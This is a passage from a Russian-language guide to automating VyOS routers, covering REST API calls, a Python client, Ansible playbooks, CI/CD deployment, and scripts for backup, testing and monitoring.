  "value": "192.168.2.1/24",
  "key": "your-api-key-here"
}
```

**Delete Configuration** - удалить конфигурационный элемент:
```bash
POST /configure
Content-Type: application/json

{
  "op": "delete",
  "path": ["interfaces", "ethernet", "eth1", "address", "192.168.2.1/24"],
  "key": "your-api-key-here"
}
```

**Show Configuration** - получить конфигурацию:
```bash
POST /retrieve
Content-Type: application/json

{
  "op": "showConfig",
  "path": ["interfaces", "ethernet"],
  "key": "your-api-key-here"
}
```

**Show Operational Data** - выполнить show команду:
```bash
POST /show
Content-Type: application/json

{
  "op": "show",
  "path": ["interfaces"],
  "key": "your-api-key-here"
}
```

#### Configuration File Operations

**Save Configuration**:
```bash
POST /config-file
Content-Type: application/json

{
  "op": "save",
  "key": "your-api-key-here"
}
```

**Load Configuration from File**:
```bash
POST /config-file
Content-Type: application/json

{
  "op": "load",
  "file": "/config/config.boot.backup",
  "key": "your-api-key-here"
}
```

#### Image Management

**Add System Image**:
```bash
POST /image
Content-Type: application/json

{
  "op": "add",
  "url": "https://downloads.vyos.io/rolling/current/vyos-1.5-rolling-latest.iso",
  "key": "your-api-key-here"
}
```

**Delete System Image**:
```bash
POST /image
Content-Type: application/json

{
  "op": "delete",
  "name": "1.4.20230101",
  "key": "your-api-key-here"
}
```

#### System Operations

**Reboot**:
```bash
POST /reboot
Content-Type: application/json

{
  "key": "your-api-key-here"
}
```

**Power Off**:
```bash
POST /poweroff
Content-Type: application/json

{
  "key": "your-api-key-here"
}
```

### Python REST API Client

#### Базовый клиент

```python
import requests
import json
from typing import Dict, List, Any, Optional

class VyOSClient:
    """Клиент для работы с VyOS REST API"""

    def __init__(self, host: str, api_key: str, use_https: bool = True,
                 verify_ssl: bool = True):
        self.host = host
        self.api_key = api_key
        self.protocol = "https" if use_https else "http"
        self.verify_ssl = verify_ssl
        self.base_url = f"{self.protocol}://{host}"

    def _make_request(self, endpoint: str, data: Dict[str, Any]) -> Dict[str, Any]:
        """Выполнить API запрос"""
        data['key'] = self.api_key
        url = f"{self.base_url}/{endpoint}"

        try:
            response = requests.post(
                url,
                json=data,
                verify=self.verify_ssl,
                timeout=30
            )
            response.raise_for_status()
            return response.json()
        except requests.exceptions.RequestException as e:
            raise Exception(f"API request failed: {e}")

    def set_config(self, path: List[str], value: Optional[str] = None) -> Dict[str, Any]:
        """Установить конфигурационное значение"""
        data = {
            "op": "set",
            "path": path
        }
        if value:
            data['value'] = value

        return self._make_request("configure", data)

    def delete_config(self, path: List[str]) -> Dict[str, Any]:
        """Удалить конфигурационный элемент"""
        data = {
            "op": "delete",
            "path": path
        }
        return self._make_request("configure", data)

    def show_config(self, path: List[str] = []) -> Dict[str, Any]:
        """Получить конфигурацию"""
        data = {
            "op": "showConfig",
            "path": path
        }
        return self._make_request("retrieve", data)

    def show(self, path: List[str]) -> Dict[str, Any]:
        """Выполнить show команду"""
        data = {
            "op": "show",
            "path": path
        }
        return self._make_request("show", data)

    def commit(self) -> Dict[str, Any]:
        """Применить конфигурацию"""
        data = {"op": "commit"}
        return self._make_request("configure", data)

    def save(self) -> Dict[str, Any]:
        """Сохранить конфигурацию"""
        data = {"op": "save"}
        return self._make_request("config-file", data)

    def batch_configure(self, commands: List[Dict[str, Any]]) -> Dict[str, Any]:
        """Выполнить пакетную конфигурацию"""
        results = []
        for cmd in commands:
            if cmd['op'] == 'set':
                result = self.set_config(cmd['path'], cmd.get('value'))
            elif cmd['op'] == 'delete':
                result = self.delete_config(cmd['path'])
            results.append(result)

        # Применить изменения
        commit_result = self.commit()
        results.append(commit_result)

        # Сохранить
        save_result = self.save()
        results.append(save_result)

        return {"results": results}

# Пример использования
if __name__ == "__main__":
    # Создать клиент
    client = VyOSClient(
        host="192.168.1.1",
        api_key="your-api-key-here",
        verify_ssl=False  # Для self-signed сертификатов
    )

    # Настроить интерфейс
    client.set_config(
        path=["interfaces", "ethernet", "eth1", "address"],
        value="192.168.2.1/24"
    )

    client.set_config(
        path=["interfaces", "ethernet", "eth1", "description"],
        value="LAN Interface"
    )

    # Применить и сохранить
    client.commit()
    client.save()

    # Получить конфигурацию интерфейса
    config = client.show_config(path=["interfaces", "ethernet", "eth1"])
    print(json.dumps(config, indent=2))

    # Получить статус интерфейсов
    status = client.show(path=["interfaces"])
    print(json.dumps(status, indent=2))
```

#### Продвинутый клиент с контекстным менеджером

```python
from contextlib import contextmanager
import logging

class VyOSConfigSession(VyOSClient):
    """Клиент с автоматическим commit/save и rollback при ошибках"""

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.logger = logging.getLogger(__name__)

    @contextmanager
    def config_session(self, auto_save: bool = True):
        """Контекстный менеджер для безопасной конфигурации"""
        try:
            yield self
            # При успехе - commit и save
            self.commit()
            if auto_save:
                self.save()
            self.logger.info("Configuration applied successfully")
        except Exception as e:
            # При ошибке - rollback
            self.logger.error(f"Configuration failed: {e}")
            try:
                self._make_request("configure", {"op": "discard"})
                self.logger.info("Configuration rolled back")
            except:
                self.logger.error("Rollback failed")
            raise

# Пример использования
with VyOSConfigSession(
    host="192.168.1.1",
    api_key="your-api-key-here",
    verify_ssl=False
).config_session() as session:
    # Все изменения в этом блоке будут автоматически commit/save
    session.set_config(
        path=["interfaces", "ethernet", "eth1", "address"],
        value="192.168.2.1/24"
    )
    session.set_config(
        path=["protocols", "static", "route", "10.0.0.0/8", "next-hop"],
        value="192.168.2.254"
    )
    # При выходе из блока - автоматический commit и save
    # При ошибке - автоматический rollback
```

## Ansible Automation

Ansible предоставляет декларативный подход к управлению конфигурацией VyOS через модуль `vyos.vyos`.

### Установка Ansible Collection

```bash
# Установить Ansible
pip install ansible

# Установить VyOS collection
ansible-galaxy collection install vyos.vyos
```

### Inventory Configuration

#### inventory/hosts.yml

```yaml
all:
  children:
    vyos_routers:
      hosts:
        border-router:
          ansible_host: 192.168.1.1
          ansible_network_os: vyos.vyos.vyos
          ansible_connection: ansible.netcommon.network_cli
          ansible_user: automation
          ansible_password: "{{ vault_vyos_password }}"

        branch-router:
          ansible_host: 10.1.1.1
          ansible_network_os: vyos.vyos.vyos
          ansible_connection: ansible.netcommon.network_cli
          ansible_user: automation
          ansible_password: "{{ vault_vyos_password }}"

      vars:
        ansible_python_interpreter: /usr/bin/python3
```

#### Хранение паролей (Ansible Vault)

```bash
# Создать зашифрованный файл с паролями
ansible-vault create inventory/group_vars/vyos_routers/vault.yml

# Содержимое vault.yml
vault_vyos_password: "secure-password-here"
```

### Базовые Playbooks

#### Конфигурация интерфейса

```yaml
---
# playbooks/configure_interface.yml
- name: Configure Ethernet Interface
  hosts: vyos_routers
  gather_facts: false

  vars:
    interface_name: eth1
    interface_address: 192.168.2.1/24
    interface_description: "LAN Interface"

  tasks:
    - name: Configure interface address
      vyos.vyos.vyos_config:
        lines:
          - set interfaces ethernet {{ interface_name }} address {{ interface_address }}
          - set interfaces ethernet {{ interface_name }} description '{{ interface_description }}'
        save: true
```

#### Конфигурация BGP

```yaml
---
# playbooks/configure_bgp.yml
- name: Configure BGP
  hosts: border-router
  gather_facts: false

  vars:
    local_asn: 65001
    router_id: 192.168.1.1
    neighbors:
      - ip: 10.0.0.2
        remote_asn: 65002
        description: "ISP1"
      - ip: 10.0.1.2
        remote_asn: 65003
        description: "ISP2"

  tasks:
    - name: Configure BGP basic settings
      vyos.vyos.vyos_config:
        lines:
          - set protocols bgp {{ local_asn }} parameters router-id {{ router_id }}
        save: false

    - name: Configure BGP neighbors
      vyos.vyos.vyos_config:
        lines:
          - set protocols bgp {{ local_asn }} neighbor {{ item.ip }} remote-as {{ item.remote_asn }}
          - set protocols bgp {{ local_asn }} neighbor {{ item.ip }} description '{{ item.description }}'
          - set protocols bgp {{ local_asn }} neighbor {{ item.ip }} address-family ipv4-unicast
        save: false
      loop: "{{ neighbors }}"

    - name: Commit and save configuration
      vyos.vyos.vyos_config:
        save: true
```

#### VPN Site-to-Site

```yaml
---
# playbooks/configure_vpn.yml
- name: Configure IPsec Site-to-Site VPN
  hosts: vyos_routers
  gather_facts: false

  vars:
    local_peer: 203.0.113.1
    remote_peer: 203.0.113.2
    psk: "{{ vault_ipsec_psk }}"
    local_network: 192.168.1.0/24
    remote_network: 192.168.2.0/24

  tasks:
    - name: Configure IPsec authentication
      vyos.vyos.vyos_config:
        lines:
          - set vpn ipsec ike-group IKE-SITE authentication mode pre-shared-secret
          - set vpn ipsec ike-group IKE-SITE proposal 1 dh-group 14
          - set vpn ipsec ike-group IKE-SITE proposal 1 encryption aes256
          - set vpn ipsec ike-group IKE-SITE proposal 1 hash sha256
          - set vpn ipsec esp-group ESP-SITE proposal 1 encryption aes256
          - set vpn ipsec esp-group ESP-SITE proposal 1 hash sha256
        save: false

    - name: Configure IPsec site-to-site peer
      vyos.vyos.vyos_config:
        lines:
          - set vpn ipsec site-to-site peer {{ remote_peer }} authentication mode pre-shared-secret
          - set vpn ipsec site-to-site peer {{ remote_peer }} authentication pre-shared-secret '{{ psk }}'
          - set vpn ipsec site-to-site peer {{ remote_peer }} ike-group IKE-SITE
          - set vpn ipsec site-to-site peer {{ remote_peer }} local-address {{ local_peer }}
          - set vpn ipsec site-to-site peer {{ remote_peer }} tunnel 1 esp-group ESP-SITE
          - set vpn ipsec site-to-site peer {{ remote_peer }} tunnel 1 local prefix {{ local_network }}
          - set vpn ipsec site-to-site peer {{ remote_peer }} tunnel 1 remote prefix {{ remote_network }}
        save: true
```

### Продвинутые Playbooks

#### Массовое развертывание VLAN

```yaml
---
# playbooks/deploy_vlans.yml
- name: Deploy VLANs across fleet
  hosts: vyos_routers
  gather_facts: false

  vars:
    vlans:
      - id: 10
        description: "Management"
        address: "192.168.10.1/24"
        dhcp_start: "192.168.10.100"
        dhcp_stop: "192.168.10.200"
      - id: 20
        description: "Servers"
        address: "192.168.20.1/24"
        dhcp_start: "192.168.20.100"
        dhcp_stop: "192.168.20.200"
      - id: 30
        description: "Workstations"
        address: "192.168.30.1/24"
        dhcp_start: "192.168.30.100"
        dhcp_stop: "192.168.30.250"

  tasks:
    - name: Create VLAN interfaces
      vyos.vyos.vyos_config:
        lines:
          - set interfaces ethernet eth0 vif {{ item.id }} description '{{ item.description }}'
          - set interfaces ethernet eth0 vif {{ item.id }} address {{ item.address }}
        save: false
      loop: "{{ vlans }}"

    - name: Configure DHCP for VLANs
      vyos.vyos.vyos_config:
        lines:
          - set service dhcp-server shared-network-name VLAN{{ item.id }} subnet {{ item.address | ansible.netcommon.ipaddr('network/prefix') }} default-router {{ item.address | ansible.netcommon.ipaddr('address') }}
          - set service dhcp-server shared-network-name VLAN{{ item.id }} subnet {{ item.address | ansible.netcommon.ipaddr('network/prefix') }} range 0 start {{ item.dhcp_start }}
          - set service dhcp-server shared-network-name VLAN{{ item.id }} subnet {{ item.address | ansible.netcommon.ipaddr('network/prefix') }} range 0 stop {{ item.dhcp_stop }}
          - set service dhcp-server shared-network-name VLAN{{ item.id }} subnet {{ item.address | ansible.netcommon.ipaddr('network/prefix') }} name-server 8.8.8.8
        save: false
      loop: "{{ vlans }}"

    - name: Commit configuration
      vyos.vyos.vyos_config:
        save: true
```

#### Резервное копирование конфигурации

```yaml
---
# playbooks/backup_configs.yml
- name: Backup VyOS configurations
  hosts: vyos_routers
  gather_facts: true

  vars:
    backup_dir: "./backups"

  tasks:
    - name: Create backup directory
      local_action:
        module: file
        path: "{{ backup_dir }}/{{ inventory_hostname }}"
        state: directory
      run_once: true

    - name: Get running configuration
      vyos.vyos.vyos_command:
        commands:
          - show configuration commands
      register: config_output

    - name: Save configuration to file
      local_action:
        module: copy
        content: "{{ config_output.stdout[0] }}"
        dest: "{{ backup_dir }}/{{ inventory_hostname }}/config-{{ ansible_date_time.iso8601_basic_short }}.txt"

    - name: Get system information
      vyos.vyos.vyos_command:
        commands:
          - show version
          - show interfaces
          - show ip route
      register: system_info

    - name: Save system information
      local_action:
        module: copy
        content: "{{ system_info.stdout | join('\n\n=====\n\n') }}"
        dest: "{{ backup_dir }}/{{ inventory_hostname }}/system-info-{{ ansible_date_time.iso8601_basic_short }}.txt"
```

### Ansible Roles

#### Структура роли

```
roles/
└── vyos-base/
    ├── defaults/
    │   └── main.yml
    ├── tasks/
    │   ├── main.yml
    │   ├── interfaces.yml
    │   ├── services.yml
    │   └── security.yml
    ├── templates/
    │   ├── firewall.j2
    │   └── nat.j2
    └── vars/
        └── main.yml
```

#### roles/vyos-base/defaults/main.yml

```yaml
---
# Default variables
vyos_timezone: Europe/Moscow
vyos_ntp_servers:
  - 0.ru.pool.ntp.org
  - 1.ru.pool.ntp.org

vyos_ssh_port: 22
vyos_ssh_enable_password_auth: false

vyos_enable_firewall: true
vyos_enable_nat: true
```

#### roles/vyos-base/tasks/main.yml

```yaml
---
- name: Configure system settings
  include_tasks: system.yml

- name: Configure interfaces
  include_tasks: interfaces.yml

- name: Configure services
  include_tasks: services.yml

- name: Configure security
  include_tasks: security.yml
  when: vyos_enable_firewall
```

#### Использование роли

```yaml
---
# playbooks/deploy_base_config.yml
- name: Deploy base VyOS configuration
  hosts: vyos_routers
  gather_facts: false

  roles:
    - role: vyos-base
      vars:
        vyos_timezone: Europe/Moscow
        vyos_enable_firewall: true
```

## Configuration Management

### Git-based Configuration Management

#### Структура репозитория

```
vyos-configs/
├── devices/
│   ├── border-router/
│   │   └── config.boot
│   ├── branch-router-01/
│   │   └── config.boot
│   └── branch-router-02/
│       └── config.boot
├── templates/
│   ├── base.boot.j2
│   ├── branch.boot.j2
│   └── border.boot.j2
├── scripts/
│   ├── deploy.py
│   ├── validate.py
│   └── backup.py
└── README.md
```

#### Скрипт автоматического развертывания

```python
#!/usr/bin/env python3
# scripts/deploy.py

import sys
import argparse
from pathlib import Path
import subprocess
from vyos_client import VyOSClient  # Из примера выше

def deploy_config(device: str, config_file: Path, api_key: str):
    """Развернуть конфигурацию на устройство"""

    # Читать конфигурацию
    with open(config_file) as f:
        config_lines = f.readlines()

    # Создать клиент
    client = VyOSClient(host=device, api_key=api_key, verify_ssl=False)

    # Парсить и применить конфигурацию
    for line in config_lines:
        line = line.strip()
        if not line or line.startswith('#'):
            continue

        if line.startswith('set '):
            # Извлечь path и value из команды set
            parts = line.split()[1:]  # Убрать 'set'

            # Найти value (всё после последнего пробела, если есть кавычки)
            if "'" in line:
                path_parts = []
                value = None
                in_quotes = False
                current = ""

                for part in parts:
                    if part.startswith("'"):
                        in_quotes = True
                        current = part[1:]
                    elif part.endswith("'"):
                        current += " " + part[:-1]
                        value = current
                        in_quotes = False
                    elif in_quotes:
                        current += " " + part
                    else:
                        path_parts.append(part)

                client.set_config(path=path_parts, value=value)
            else:
                client.set_config(path=parts)

    # Commit и save
    client.commit()
    client.save()
    print(f"Configuration deployed to {device}")

def main():
    parser = argparse.ArgumentParser(description='Deploy VyOS configuration')
    parser.add_argument('device', help='Device hostname or IP')
    parser.add_argument('config', type=Path, help='Configuration file')
    parser.add_argument('--api-key', required=True, help='API key')

    args = parser.parse_args()

    if not args.config.exists():
        print(f"Error: Configuration file {args.config} not found")
        sys.exit(1)

    deploy_config(args.device, args.config, args.api_key)

if __name__ == '__main__':
    main()
```

### CI/CD Integration

#### GitLab CI Example

```yaml
# .gitlab-ci.yml
stages:
  - validate
  - test
  - deploy

variables:
  VYOS_API_KEY: ${CI_VYOS_API_KEY}

validate_syntax:
  stage: validate
  image: python:3.11
  script:
    - pip install -r requirements.txt
    - python scripts/validate.py devices/

test_staging:
  stage: test
  image: python:3.11
  script:
    - python scripts/deploy.py staging-router devices/border-router/config.boot --api-key ${VYOS_API_KEY}
    - python scripts/test_connectivity.py staging-router
  only:
    - merge_requests

deploy_production:
  stage: deploy
  image: python:3.11
  script:
    - |
      for device in devices/*/; do
        device_name=$(basename $device)
        echo "Deploying to $device_name"
        python scripts/deploy.py $device_name $device/config.boot --api-key ${VYOS_API_KEY}
      done
  only:
    - main
  when: manual
```

## Практические сценарии

### Сценарий 1: Массовая конфигурация интерфейсов через API

```python
#!/usr/bin/env python3
"""
Массовая конфигурация интерфейсов на множестве устройств
"""

from vyos_client import VyOSClient
from concurrent.futures import ThreadPoolExecutor, as_completed
import logging

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# Список устройств
DEVICES = [
    {"host": "192.168.1.1", "name": "border-router"},
    {"host": "192.168.2.1", "name": "branch-01"},
    {"host": "192.168.3.1", "name": "branch-02"},
    {"host": "192.168.4.1", "name": "branch-03"},
]

# Конфигурация интерфейсов
INTERFACE_CONFIG = {
    "eth0": {
        "description": "WAN",
        "address": "dhcp"
    },
    "eth1": {
        "description": "LAN",
        "address": None,  # Устанавливается индивидуально
        "mtu": "1500"
    }
}

API_KEY = "your-api-key-here"

def configure_device(device: dict) -> dict:
    """Сконфигурировать одно устройство"""
    try:
        client = VyOSClient(
            host=device['host'],
            api_key=API_KEY,
            verify_ssl=False
        )

        logger.info(f"Configuring {device['name']} ({device['host']})")

        # Конфигурировать интерфейсы
        for iface, config in INTERFACE_CONFIG.items():
            # Описание
            if 'description' in config:
                client.set_config(
                    path=["interfaces", "ethernet", iface, "description"],
                    value=config['description']
                )

            # Адрес (если не dhcp)
            if config.get('address') == 'dhcp':
                client.set_config(
                    path=["interfaces", "ethernet", iface, "address"],
                    value="dhcp"
                )
            elif config.get('address'):
                client.set_config(
                    path=["interfaces", "ethernet", iface, "address"],
                    value=config['address']
                )

            # MTU
            if 'mtu' in config:
                client.set_config(
                    path=["interfaces", "ethernet", iface, "mtu"],
                    value=config['mtu']
                )

        # Commit и save
        client.commit()
        client.save()

        logger.info(f"Successfully configured {device['name']}")
        return {"device": device['name'], "status": "success"}

    except Exception as e:
        logger.error(f"Failed to configure {device['name']}: {e}")
        return {"device": device['name'], "status": "failed", "error": str(e)}

def main():
    """Главная функция"""
    results = []

    # Параллельная конфигурация устройств
    with ThreadPoolExecutor(max_workers=5) as executor:
        futures = {
            executor.submit(configure_device, device): device
            for device in DEVICES
        }

        for future in as_completed(futures):
            result = future.result()
            results.append(result)

    # Вывод результатов
    print("\n=== Configuration Summary ===")
    success_count = sum(1 for r in results if r['status'] == 'success')
    print(f"Total devices: {len(results)}")
    print(f"Successful: {success_count}")
    print(f"Failed: {len(results) - success_count}")

    for result in results:
        status_icon = "✓" if result['status'] == 'success' else "✗"
        print(f"{status_icon} {result['device']}: {result['status']}")
        if 'error' in result:
            print(f"  Error: {result['error']}")

if __name__ == "__main__":
    main()
```

### Сценарий 2: Ansible Playbook для управления парком роутеров

```yaml
---
# playbooks/fleet_management.yml
- name: VyOS Fleet Management Playbook
  hosts: vyos_routers
  gather_facts: false

  vars:
    base_timezone: Europe/Moscow
    base_ntp_servers:
      - 0.ru.pool.ntp.org
      - 1.ru.pool.ntp.org
      - ntp1.yandex.ru

    base_dns_servers:
      - 8.8.8.8
      - 8.8.4.4
      - 77.88.8.8

    ssh_hardening:
      port: 22
      disable_password: true
      disable_root: true

  tasks:
    - name: Configure system time
      vyos.vyos.vyos_config:
        lines:
          - set system time-zone {{ base_timezone }}
        save: false
      tags: [system, time]

    - name: Configure NTP
      vyos.vyos.vyos_config:
        lines:
          - set service ntp server {{ item }}
        save: false
      loop: "{{ base_ntp_servers }}"
      tags: [system, ntp]

    - name: Configure DNS forwarding
      vyos.vyos.vyos_config:
        lines:
          - set service dns forwarding cache-size 10000
          - set service dns forwarding listen-address {{ ansible_host }}
          - set service dns forwarding name-server {{ item }}
        save: false
      loop: "{{ base_dns_servers }}"
      tags: [services, dns]

    - name: Harden SSH
      vyos.vyos.vyos_config:
        lines:
          - set service ssh port {{ ssh_hardening.port }}
          - delete service ssh disable-password-authentication
          - set service ssh disable-password-authentication
        save: false
      when: ssh_hardening.disable_password
      tags: [security, ssh]

    - name: Configure logging
      vyos.vyos.vyos_config:
        lines:
          - set system syslog global facility all level info
          - set system syslog host 192.168.1.10 facility all level warning
        save: false
      tags: [system, logging]

    - name: Commit configuration
      vyos.vyos.vyos_config:
        save: true
      tags: [always]

    - name: Verify configuration
      vyos.vyos.vyos_command:
        commands:
          - show configuration
          - show service ntp
          - show service dns forwarding statistics
      register: verify_output
      tags: [verify]

    - name: Display verification results
      debug:
        var: verify_output.stdout_lines
      tags: [verify]
```

### Сценарий 3: Автоматизация резервного копирования с ротацией

```python
#!/usr/bin/env python3
"""
Автоматическое резервное копирование конфигурации VyOS с ротацией
"""

import os
import sys
from datetime import datetime, timedelta
from pathlib import Path
import gzip
import shutil
from vyos_client import VyOSClient

# Конфигурация
BACKUP_DIR = Path("/opt/backups/vyos")
RETENTION_DAYS = 30
COMPRESSION_AFTER_DAYS = 7

DEVICES = [
    {"host": "192.168.1.1", "name": "border-router"},
    {"host": "192.168.2.1", "name": "branch-01"},
    {"host": "192.168.3.1", "name": "branch-02"},
]

API_KEY = os.environ.get("VYOS_API_KEY", "your-api-key-here")

def backup_device(device: dict, backup_dir: Path) -> bool:
    """Создать резервную копию конфигурации устройства"""
    try:
        client = VyOSClient(
            host=device['host'],
            api_key=API_KEY,
            verify_ssl=False
        )

        # Получить конфигурацию
        config_response = client.show_config(path=[])

        if not config_response.get('success'):
            print(f"Error getting config from {device['name']}")
            return False

        config_data = config_response.get('data', '')

        # Создать директорию для устройства
        device_backup_dir = backup_dir / device['name']
        device_backup_dir.mkdir(parents=True, exist_ok=True)

        # Имя файла с timestamp
        timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
        backup_file = device_backup_dir / f"config-{timestamp}.boot"

        # Сохранить конфигурацию
        with open(backup_file, 'w') as f:
            f.write(config_data)

        print(f"Backed up {device['name']} to {backup_file}")

        # Получить дополнительную информацию
        version_response = client.show(path=["version"])
        if version_response.get('success'):
            version_file = device_backup_dir / f"version-{timestamp}.txt"
            with open(version_file, 'w') as f:
                f.write(version_response.get('data', ''))

        return True

    except Exception as e:
        print(f"Failed to backup {device['name']}: {e}")
        return False

def compress_old_backups(backup_dir: Path, days: int):
    """Сжать резервные копии старше N дней"""
    cutoff_date = datetime.now() - timedelta(days=days)

    for backup_file in backup_dir.rglob("*.boot"):
        # Проверить возраст файла
        file_time = datetime.fromtimestamp(backup_file.stat().st_mtime)

        if file_time < cutoff_date and not backup_file.name.endswith('.gz'):
            # Сжать файл
            with open(backup_file, 'rb') as f_in:
                with gzip.open(f"{backup_file}.gz", 'wb') as f_out:
                    shutil.copyfileobj(f_in, f_out)

            # Удалить оригинал
            backup_file.unlink()
            print(f"Compressed {backup_file}")

def rotate_backups(backup_dir: Path, retention_days: int):
    """Удалить резервные копии старше retention_days"""
    cutoff_date = datetime.now() - timedelta(days=retention_days)

    for backup_file in backup_dir.rglob("config-*"):
        file_time = datetime.fromtimestamp(backup_file.stat().st_mtime)

        if file_time < cutoff_date:
            backup_file.unlink()
            print(f"Deleted old backup {backup_file}")

def main():
    """Главная функция"""
    print(f"=== VyOS Backup Script ===")
    print(f"Started: {datetime.now()}")

    # Создать директорию для резервных копий
    BACKUP_DIR.mkdir(parents=True, exist_ok=True)

    # Создать резервные копии
    success_count = 0
    for device in DEVICES:
        if backup_device(device, BACKUP_DIR):
            success_count += 1

    print(f"\nBackup completed: {success_count}/{len(DEVICES)} successful")

    # Сжать старые резервные копии
    print(f"\nCompressing backups older than {COMPRESSION_AFTER_DAYS} days...")
    compress_old_backups(BACKUP_DIR, COMPRESSION_AFTER_DAYS)

    # Ротация резервных копий
    print(f"\nRotating backups older than {RETENTION_DAYS} days...")
    rotate_backups(BACKUP_DIR, RETENTION_DAYS)

    print(f"\nFinished: {datetime.now()}")

if __name__ == "__main__":
    main()
```

#### Cron задача для автоматического запуска

```bash
# /etc/cron.d/vyos-backup
# Ежедневное резервное копирование в 2:00 AM
0 2 * * * root /opt/scripts/backup_vyos.py >> /var/log/vyos-backup.log 2>&1
```

### Сценарий 4: CI/CD pipeline для автоматического тестирования конфигурации

```python
#!/usr/bin/env python3
"""
Автоматическое тестирование конфигурации VyOS
"""

import sys
from vyos_client import VyOSClient
from typing import List, Dict, Any

class VyOSConfigTest:
    """Класс для тестирования конфигурации VyOS"""

    def __init__(self, host: str, api_key: str):
        self.client = VyOSClient(host=host, api_key=api_key, verify_ssl=False)
        self.test_results = []

    def test_interface_status(self, interface: str) -> bool:
        """Проверить статус интерфейса"""
        try:
            result = self.client.show(path=["interfaces", interface])
            if result.get('success'):
                self.test_results.append({
                    "test": f"Interface {interface} status",
                    "status": "PASS",
                    "details": "Interface is up"
                })
                return True
        except:
            pass

        self.test_results.append({
            "test": f"Interface {interface} status",
            "status": "FAIL",
            "details": "Interface is down or not found"
        })
        return False

    def test_routing_table(self, expected_routes: List[str]) -> bool:
        """Проверить наличие маршрутов"""
        try:
            result = self.client.show(path=["ip", "route"])
            if not result.get('success'):
                self.test_results.append({
                    "test": "Routing table",
                    "status": "FAIL",
                    "details": "Cannot retrieve routing table"
                })
                return False

            routing_data = result.get('data', '')

            all_routes_present = True
            for route in expected_routes:
                if route not in routing_data:
                    self.test_results.append({
                        "test": f"Route {route}",
                        "status": "FAIL",
                        "details": f"Route {route} not found"
                    })
                    all_routes_present = False
                else:
                    self.test_results.append({
                        "test": f"Route {route}",
                        "status": "PASS",
                        "details": "Route present"
                    })

            return all_routes_present

        except Exception as e:
            self.test_results.append({
                "test": "Routing table",
                "status": "ERROR",
                "details": str(e)
            })
            return False

    def test_service_running(self, service: str) -> bool:
        """Проверить работу сервиса"""
        try:
            result = self.client.show(path=["service", service])
            if result.get('success'):
                self.test_results.append({
                    "test": f"Service {service}",
                    "status": "PASS",
                    "details": "Service is running"
                })
                return True
        except:
            pass

        self.test_results.append({
            "test": f"Service {service}",
            "status": "FAIL",
            "details": f"Service {service} is not running"
        })
        return False

    def test_vpn_tunnels(self, expected_tunnels: int) -> bool:
        """Проверить количество активных VPN туннелей"""
        try:
            result = self.client.show(path=["vpn", "ipsec", "sa"])
            if not result.get('success'):
                self.test_results.append({
                    "test": "VPN tunnels",
                    "status": "FAIL",
                    "details": "Cannot retrieve VPN status"
                })
                return False

            # Парсинг вывода для подсчета туннелей (упрощенно)
            vpn_data = result.get('data', '')
            tunnel_count = vpn_data.count('ESTABLISHED')

            if tunnel_count >= expected_tunnels:
                self.test_results.append({
                    "test": "VPN tunnels",
                    "status": "PASS",
                    "details": f"{tunnel_count} tunnels established (expected >= {expected_tunnels})"
                })
                return True
            else:
                self.test_results.append({
                    "test": "VPN tunnels",
                    "status": "FAIL",
                    "details": f"Only {tunnel_count} tunnels established (expected >= {expected_tunnels})"
                })
                return False

        except Exception as e:
            self.test_results.append({
                "test": "VPN tunnels",
                "status": "ERROR",
                "details": str(e)
            })
            return False

    def test_connectivity(self, target: str) -> bool:
        """Проверить connectivity через ping"""
        try:
            result = self.client.show(path=["ping", target, "count", "3"])
            if result.get('success'):
                ping_data = result.get('data', '')
                if "0% packet loss" in ping_data or "0.0% packet loss" in ping_data:
                    self.test_results.append({
                        "test": f"Connectivity to {target}",
                        "status": "PASS",
                        "details": "Ping successful"
                    })
                    return True
        except:
            pass

        self.test_results.append({
            "test": f"Connectivity to {target}",
            "status": "FAIL",
            "details": f"Cannot reach {target}"
        })
        return False

    def print_results(self):
        """Вывести результаты тестов"""
        print("\n=== Test Results ===")

        pass_count = sum(1 for r in self.test_results if r['status'] == 'PASS')
        fail_count = sum(1 for r in self.test_results if r['status'] == 'FAIL')
        error_count = sum(1 for r in self.test_results if r['status'] == 'ERROR')

        for result in self.test_results:
            status_icon = {
                'PASS': '✓',
                'FAIL': '✗',
                'ERROR': '⚠'
            }.get(result['status'], '?')

            print(f"{status_icon} {result['test']}: {result['status']}")
            print(f"  {result['details']}")

        print(f"\nSummary: {pass_count} passed, {fail_count} failed, {error_count} errors")
        print(f"Total tests: {len(self.test_results)}")

        # Return exit code
        return 0 if fail_count == 0 and error_count == 0 else 1

def main():
    """Главная функция"""
    # Конфигурация тестов
    ROUTER_HOST = "192.168.1.1"
    API_KEY = "your-api-key-here"

    # Создать тестовый объект
    tester = VyOSConfigTest(ROUTER_HOST, API_KEY)

    # Запустить тесты
    print("Running VyOS configuration tests...")

    # Тест интерфейсов
    tester.test_interface_status("eth0")
    tester.test_interface_status("eth1")

    # Тест маршрутизации
    tester.test_routing_table([
        "0.0.0.0/0",  # Default route
        "192.168.1.0/24"  # LAN route
    ])

    # Тест сервисов
    tester.test_service_running("dhcp-server")
    tester.test_service_running("ssh")
    tester.test_service_running("ntp")

    # Тест VPN
    tester.test_vpn_tunnels(expected_tunnels=2)

    # Тест connectivity
    tester.test_connectivity("8.8.8.8")
    tester.test_connectivity("192.168.1.1")

    # Вывести результаты и вернуть exit code
    exit_code = tester.print_results()
    sys.exit(exit_code)

if __name__ == "__main__":
    main()
```

### Сценарий 5: Мониторинг и алертинг через API

```python
#!/usr/bin/env python3
"""
Мониторинг VyOS через API с отправкой алертов
"""

import smtplib
import json
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from vyos_client import VyOSClient
from dataclasses import dataclass
from typing import List, Optional

@dataclass
class Alert:
    """Класс для представления алерта"""
    severity: str  # critical, warning, info
    device: str
    message: str
    details: Optional[dict] = None

class VyOSMonitor:
    """Класс для мониторинга VyOS устройств"""

    def __init__(self, devices: List[dict], api_key: str):
        self.devices = devices
        self.api_key = api_key
        self.alerts: List[Alert] = []

    def check_interface_status(self, client: VyOSClient, device_name: str):
        """Проверить статус интерфейсов"""
        try:
            result = client.show(path=["interfaces"])
            if not result.get('success'):
                self.alerts.append(Alert(
                    severity="critical",
                    device=device_name,
                    message="Cannot retrieve interface status"
                ))
                return

            # Парсинг статуса интерфейсов (упрощенно)
            interfaces_data = result.get('data', '')

            # Проверить критичные интерфейсы
            critical_interfaces = ['eth0', 'eth1']
            for iface in critical_interfaces:
                if f"{iface}:" in interfaces_data:
